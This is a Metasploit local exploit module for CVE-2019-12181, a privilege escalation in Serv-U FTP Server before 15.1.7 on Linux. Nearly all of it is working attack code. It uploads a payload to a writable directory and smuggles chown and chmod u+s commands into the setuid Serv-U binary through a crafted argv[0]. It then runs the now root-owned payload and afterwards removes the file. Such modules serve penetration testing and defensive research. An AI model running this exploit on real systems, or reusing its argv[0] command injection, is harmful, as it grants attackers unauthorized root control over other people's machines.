Serv-U FTP Server prepareinstallation Privilege Escalation

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::File  
include Msf::Post::Linux::Kernel  
include Msf::Post::Linux::Priv  
include Msf::Post::Linux::System  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Serv-U FTP Server prepareinstallation Privilege Escalation',  
'Description' => %q{  
This module attempts to gain root privileges on systems running  
Serv-U FTP Server versions prior to 15.1.7.  
  
The `Serv-U` executable is setuid `root`, and uses `ARGV[0]`  
in a call to `system()`, without validation, when invoked with  
the `-prepareinstallation` flag, resulting in command execution  
with root privileges.  
  
This module has been tested successfully on Serv-U FTP Server  
version 15.1.6 (x64) on Debian 9.6 (x64).  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Guy Levin', # @va_start - Discovery and exploit  
'bcoles' # Metasploit  
],  
'DisclosureDate' => '2019-06-05',  
'References' =>  
[  
['CVE', '2019-12181'],  
['EDB', '47009'],  
['PACKETSTORM', '153333'],  
['URL', 'https://github.com/guywhataguy/CVE-2019-12181'],  
['URL', 'https://github.com/bcoles/local-exploits/tree/master/CVE-2019-12181'],  
['URL', 'https://blog.vastart.dev/2019/06/cve-2019-12181-serv-u-exploit-writeup.html'],  
['URL', 'https://documentation.solarwinds.com/en/success_center/servu/Content/Release_Notes/Servu_15-1-7_release_notes.htm'],  
['URL', 'https://support.solarwinds.com/SuccessCenter/s/article/Serv-U-Potential-elevation-of-privileges-on-Linux-systems']  
],  
'Platform' => ['linux'],  
'Arch' =>  
[  
ARCH_X86,  
ARCH_X64,  
ARCH_ARMLE,  
ARCH_AARCH64,  
ARCH_PPC,  
ARCH_MIPSLE,  
ARCH_MIPSBE  
],  
'SessionTypes' => ['shell', 'meterpreter'],  
'Targets' => [['Auto', {}]],  
'DefaultOptions' =>  
{  
'PrependSetresuid' => true,  
'PrependSetresgid' => true,  
'PrependFork' => true,  
'WfsDelay' => 30  
},  
'DefaultTarget' => 0))  
register_options [  
OptString.new('SERVU_PATH', [true, 'Path to Serv-U executable', '/usr/local/Serv-U/Serv-U'])  
]  
register_advanced_options [  
OptBool.new('ForceExploit', [false, 'Override check result', false]),  
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])  
]  
end  
  
def servu_path  
datastore['SERVU_PATH']  
end  
  
def base_dir  
datastore['WritableDir'].to_s  
end  
  
def upload(path, data)  
print_status "Writing '#{path}' (#{data.size} bytes) ..."  
rm_f path  
write_file path, data  
register_file_for_cleanup path  
end  
  
def upload_and_chmodx(path, data)  
upload path, data  
chmod path  
end  
  
def check  
unless command_exists? 'bash'  
vprint_error 'bash shell is not available'  
return CheckCode::Safe  
end  
vprint_good 'bash shell is available'  
  
unless cmd_exec("test -x '#{servu_path}' && echo true").include? 'true'  
vprint_error "#{servu_path} is not executable"  
return CheckCode::Safe  
end  
vprint_good "#{servu_path} is executable"  
  
unless setuid? servu_path  
vprint_error "#{servu_path} is not setuid"  
return CheckCode::Safe  
end  
vprint_good "#{servu_path} is setuid"  
  
CheckCode::Detected  
end  
  
def exploit  
unless check == CheckCode::Detected  
unless datastore['ForceExploit']  
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'  
end  
print_warning 'Target does not appear to be vulnerable'  
end  
  
if is_root?  
unless datastore['ForceExploit']  
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'  
end  
end  
  
unless writable? base_dir  
fail_with Failure::BadConfig, "#{base_dir} is not writable"  
end  
  
if nosuid? base_dir  
fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"  
end  
  
payload_name = ".#{rand_text_alphanumeric 10..15}"  
@payload_path = "#{base_dir}/#{payload_name}"  
upload_and_chmodx @payload_path, generate_payload_exe  
  
argv0 = %Q{\\";chown root #{@payload_path};chmod u+s #{@payload_path};chmod +x #{@payload_path}\\"}  
cmd = %Q{bash -c 'exec -a "#{argv0}" #{servu_path} -prepareinstallation'}  
vprint_status "Executing command: #{cmd}"  
cmd_exec cmd  
  
unless setuid? @payload_path  
fail_with Failure::Unknown, 'Failed to set payload setuid root'  
end  
print_good "#{@payload_path} setuid root successfully"  
  
print_status 'Executing payload...'  
res = cmd_exec "#{@payload_path} &"  
vprint_line res  
end  
  
def on_new_session(session)  
if session.type.eql? 'meterpreter'  
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'  
session.fs.file.rm @payload_path  
else  
session.shell_command_token "rm -f '#{@payload_path}'"  
end  
ensure  
super  
end  
end  
`